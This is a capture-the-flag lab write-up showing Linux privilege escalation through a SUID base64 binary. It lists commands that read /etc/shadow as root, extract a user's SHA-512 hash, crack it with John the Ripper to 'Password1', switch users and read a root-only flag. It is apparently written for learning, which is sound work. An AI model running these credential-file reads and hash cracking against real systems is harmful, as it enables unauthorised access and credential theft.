SUID Abuse — base64

← Back to Linux Privilege Escalation

Enumeration

Standard SUID sweep:

find / -type f -perm -04000 -ls 2>/dev/null

Most results were expected system binaries. One stood out: /usr/bin/base64

base64 with SUID set doesn't execute commands. What it does is read files — as root. That's the primitive.

Reading Protected Files

Tested it first on /etc/passwd to confirm the behavior:

/usr/bin/base64 /etc/passwd | base64 -d

Worked. Moved to /etc/shadow and isolated the user2 entry:

/usr/bin/base64 /etc/shadow | base64 -d | grep '^user2:'

SHA-512 crypt hash. Sent it to Kali.

Cracking the Hash

echo 'user2:$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/' > user2.hash
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt user2.hash
john --show user2.hash

Recovered password: Password1

Funny because it confirmed exactly what the lab was implying about weak credential reuse. Not funny if this were a real environment.

Pivoting to user2

su user2
# password: Password1

Checked permissions on flag3.txt:

ls -la /home/ubuntu/flag3.txt
namei -l /home/ubuntu/flag3.txt

-rwx------ 1 root root 12 Jun 18 2021 /home/ubuntu/flag3.txt

Root-only. Switching to user2 wasn't the escalation — it was just a stepping stone. The real privilege was still the SUID base64 binary.

Reading the Flag

/usr/bin/base64 /home/ubuntu/flag3.txt | base64 -d

Why This Works

base64 read files with root-level permissions because the SUID bit made it run as its owner. It can't execute commands, spawn shells, or write files. But reading /etc/shadow was enough to extract a hash, crack it, pivot to another user, and ultimately read a root-only file through the same primitive.

SUID escalation isn't always about getting a shell immediately. Sometimes the path is read, pivot, crack, switch, repeat — and the SUID binary is useful at multiple points in the chain.

← Back to Linux Privilege Escalation